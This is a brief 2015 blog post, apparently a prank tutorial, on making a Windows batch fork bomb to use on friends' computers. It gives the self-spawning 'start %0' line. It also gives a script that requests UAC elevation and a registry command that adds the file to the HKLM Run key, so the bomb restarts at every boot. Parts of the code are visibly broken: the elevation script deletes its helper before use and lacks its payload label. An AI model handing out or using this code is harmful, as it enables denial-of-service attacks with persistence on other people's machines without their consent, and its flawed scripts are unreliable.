Friday, October 9, 2015

Create a fork bomb to afraid your friends

1. Fork Bomb

A fork bomb is a something  that runs in an infinite loop. Copy this to a text file and save it as “anyname”.bat (a bat extension is important)
start %0
Now to make it more complex we can add this file to the startup, so that whenever the person restarts his computer he/she might still get a slow computer
For that we are going to make another .bat file of any other name and fill it with the following code-
if _%1_==_payload_  goto :payload

    echo %~nx0: elevating self
    set vbs=%temp%\getadmin.vbs
    echo Set UAC = CreateObject^("Shell.Application"^)                >> "%vbs%"
    echo UAC.ShellExecute "%~s0", "payload %~sdp0 %*", "", "runas", 1 >> "%vbs%"
    del "%temp%\getadmin.vbs"
goto :eof

    echo %~nx0: running payload with parameters:
    echo %*
    echo ---------------------------------------------------
    cd /d %2
    rem copy "anyname.bat" %AllUsers%\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
    rem e.g.: perl %1 %2 %3 %4 %5 %6 %7 %8 %9
goto :eof
or the following code will also do-
@echo off
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Wi­ndows\CurrentVersion\Run /v test /t reg_sz /d C:\folder\anyname.bat
Change the file name and the location according to your preference

No comments:

Post a Comment